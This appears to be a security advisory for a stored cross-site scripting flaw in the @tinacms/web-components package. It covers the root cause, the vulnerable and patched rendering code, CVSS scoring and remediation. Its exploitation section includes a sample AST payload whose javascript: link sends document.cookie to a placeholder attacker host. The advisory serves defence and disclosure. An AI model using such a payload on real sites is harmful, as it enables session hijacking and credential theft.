CVE-2026-108260: Stored Cross-Site Scripting (XSS) in @tinacms/web-components

CVE-2026-108260 (also tracked as GHSA-c42q-qvc3-j6vg) is a Stored Cross-Site Scripting (Stored XSS) vulnerability in @tinacms/web-components, a core web component package within the TinaCMS headless content management framework ecosystem.

TinaCMS utilizes custom web components such as <tina-markdown> to parse and render rich-text Markdown Abstract Syntax Tree (AST) structures into standard HTML DOM elements. The package handles content generated by users, editors, and automated workflows across web applications built with TinaCMS.

Prior to version 0.2.1 of @tinacms/web-components, the component failed to validate URI schemes when assigning URL properties from AST nodes to rendered HTML element attributes. As a result, low-privileged users capable of submitting or editing Markdown content can embed arbitrary JavaScript code using script-capable URI schemes such as javascript:.

When end users or platform administrators interact with rendered elements, the injected code executes directly within their active browser origin. This enables session hijacking, administrative token theft, and unauthorized background operations.

The fundamental root cause of CVE-2026-108260 lies in incomplete input neutralization across distinct content parsing branches in packages/@tinacms/web-components/src/tina-markdown.js (classified under CWE-79 and CWE-83).

While raw HTML fragments processed by the component were sanitized using DOMPurify, structured Markdown AST link nodes (node.type === 'a') and image nodes (node.type === 'img') bypassed this protection entirely. The parsing logic extracted the raw node.url value directly from the input JSON or AST object and assigned it directly to HTMLElement.href or HTMLElement.src properties.

Because standard browser DOM bindings automatically execute javascript: protocol strings assigned to anchor href attributes upon activation, the absence of scheme verification creates a direct path from untrusted AST nodes to client-side code execution.

Examination of packages/@tinacms/web-components/src/tina-markdown.js before the patch highlights the flawed conditional logic within the node renderer function:

function renderNode(node) {
  const tag = getTag(node);
  /** @type {HTMLElement} */
  const el = document.createElement(tag);
 
  // VULNERABLE: Direct property assignment without scheme verification
  if (node.url && node.type === 'a') el.href = node.url;
  if (node.url && node.type === 'img') el.src = node.url;
 
  return el;
}

To remediate this vulnerability in commit 5295e077f0d279c35686a0e481a15e33a4877e3b (PR #7523), the developers integrated the sanitizeUrl helper function from @tinacms/mdx/sanitize-url. This helper verifies that candidate URLs match an allow-list of safe protocols (http, https, mailto, tel, xref, or relative paths). If an unapproved scheme such as javascript: is passed, sanitizeUrl evaluates to an empty string "".

import { sanitizeUrl } from '@tinacms/mdx/sanitize-url';
import DOMPurify from 'dompurify';
 
function renderNode(node) {
  const tag = getTag(node);
  /** @type {HTMLElement} */
  const el = document.createElement(tag);
 
  // PATCHED: URL input sanitization applied prior to DOM property assignment
  if (node.url && node.type === 'a') el.href = sanitizeUrl(node.url);
  if (node.url && node.type === 'img') el.src = sanitizeUrl(node.url);
 
  return el;
}

The fix successfully neutralizes script injection while preserving operational relative and absolute links. The inclusion of sanitizeUrl aligns @tinacms/web-components with the sanitization patterns enforced in TinaCMS React and Astro renderer implementations.

Exploitation requires low-privileged access to create or modify content handled by TinaCMS. The attacker constructs a rich-text payload containing an AST node with a malicious protocol URI.

An example JSON AST payload injected into the content store takes the following form:

{
  "type": "root",
  "children": [
    {
      "type": "a",
      "url": "javascript:fetch('https://attacker.example/steal?c=' + encodeURIComponent(document.cookie))",
      "children": [
        {
          "type": "text",
          "text": "Click here to verify account information"
        }
      ]
    }
  ]
}

When <tina-markdown> processes this object on a rendered public page or administrative preview, it generates the following DOM structure:

<a href="javascript:fetch('https://attacker.example/steal?c=' + encodeURIComponent(document.cookie))">Click here to verify account information</a>

When a victim clicks the link, the browser executes the script payload in the context of the active domain, bypassing traditional input filters that only inspect raw string HTML.

The CVSS v3.1 base score for CVE-2026-108260 is 7.6 (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N). The scope is evaluated as Changed (S:C) because execution shifts from content authoring to the application runtime environment.

Successful exploitation allows attackers to perform session hijacking, harvest session tokens or OAuth bearer tokens from standard web storage (localStorage and sessionStorage), perform unauthorized REST API operations on behalf of administrative users, or rewrite DOM content to phish for credentials.

> [!NOTE] > Web applications relying on session cookies lacking the HttpOnly attribute are particularly exposed to direct cookie extraction via this mechanism.

Organizations using @tinacms/web-components should immediately upgrade to version 0.2.1 or higher. Monorepo setups managing tinacms dependencies should update the primary package to version 3.14.0 or higher.

Execute the following command in affected project workspaces:

npm install @tinacms/web-components@0.2.1

In addition to package updates, engineering teams should enforce a strict Content Security Policy (CSP) header across application domains. Restricting script sources prevents execution of inline protocols (javascript:):

Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';

Finally, stored Markdown content in CMS repositories should be scanned for occurrences of javascript: protocol strings to identify pre-existing malicious entries.